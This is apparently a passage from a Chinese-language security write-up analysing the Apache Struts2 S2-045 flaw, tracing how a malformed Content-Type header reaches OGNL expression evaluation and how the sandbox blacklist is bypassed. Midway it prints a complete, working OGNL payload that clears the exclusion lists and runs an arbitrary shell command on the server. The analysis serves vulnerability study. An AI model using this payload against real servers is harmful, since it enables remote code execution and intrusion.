Smi1e@Pentes7eam

漏洞信息：
https://cwiki.Apache.org/confluence/display/WW/S2-045

Struts2默認使用
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest類對上傳數據進行解析。其在處理Content-Type時如果獲得非預期的值的話，將會拋出一個異常，在此異常的處理中會對錯誤信息進行OGNL表達式解析。

漏洞復現

影響范圍

Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10

漏洞分析

Struts 2.3.5 - 2.3.31和Struts 2.5 - 2.5.10漏洞入口不同

前者調用棧

在過濾器
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter的dofilter方法中下斷點，跟進this.prepare.wrapRequest(request);，它會封裝request對象。

其中會判斷 content_type中是否含有字符串multipart/form-data，如果有則實例化MultiPartRequestWrApper對象，并傳入對應參數來對請求進行解析。其中this.getMultiPartRequest;會去獲取用來處理文件上傳請求的解析類，默認是
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。我們可以通過配置struts.multipart.parser屬性來指定不同的解析類。

跟進 this.multi.parse(request, saveDir);，這里的this.multi就是默認的JakartaMultiPartRequest對象。

這里由于對上傳請求解析時發現錯誤所以會進入到下面的 catch操作中，跟進this.buildErrorMessage

它會調用
LocalizedTextUtil.findText處理錯誤信息

不斷跟進會發現他會把message傳入
TextParseUtil.translateVariables進行表達式解析。

后面就還是以前的流程了。

而 Struts 2.5 - 2.5.10中
org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.buildErrorMessage并沒有調用
LocalizedTextUtil.findText

它是在攔截器 FileUploadInterceptor中調用的
LocalizedTextUtil.findText(error.getClazz, error.getTextKey, ActionContext.getContext.getLocale, error.getDefaultMessage, error.getArgs);從而對錯誤信息進行OGNL表達式解析

在2.3.30/2.5.2之后的版本，我們可以用來bypass黑名單過濾的 _memberAccess和DefaultMemberAccess都進入到了黑名單中。

不過個人認為沙盒修復的關鍵是Ognl3.0.18+和Ognl3.1.10+中 OgnlContext刪除了_memberAccess這個key，從而禁止了對_memberAccess的訪問。Struts2.3.30開始使用的是Ognl3.0.19，Struts2.5.2開始使用的是Ognl3.1.10。從S2-045的payload中也能看出來，直接可以執行(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)，后面才開始查看是否存在#_memberAccess。

%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames.clear).(#ognlUtil.getExcludedClasses.clear).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@JAVA.lang.System@getProperty('os.name').toLowerCase.contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start).(#ros=(@org.apache.struts2.ServletActionContext@getResponse.getOutputStream)).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream,#ros)).(#ros.flush)}

在初始化了 OgnlValueStack對象后，會對OgnlValueStack對象進行依賴注入。

這個時候會調用
com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil將黑名單添加進來賦值給OgnlValueStack的securityMemberAccess對象

這里需要注意的是由于 OgnlUtil默認為singleton單例模式，因此全局的OgnlUtil實例都共享著相同的設置。如果利用OgnlUtil更改了設置項（excludedClasses、excludedPackageNames、 excludedPackageNamePatterns）則同樣會更改_memberAccess中的值。

為什么改了 OgnlUtil的值以后_memberAccess的值也會改變呢？

首先上面說過了全局的 OgnlUtil實例都共享著相同的設置。然后因為SecurityMemberAccess類的excludedClasses等屬性都是集合類型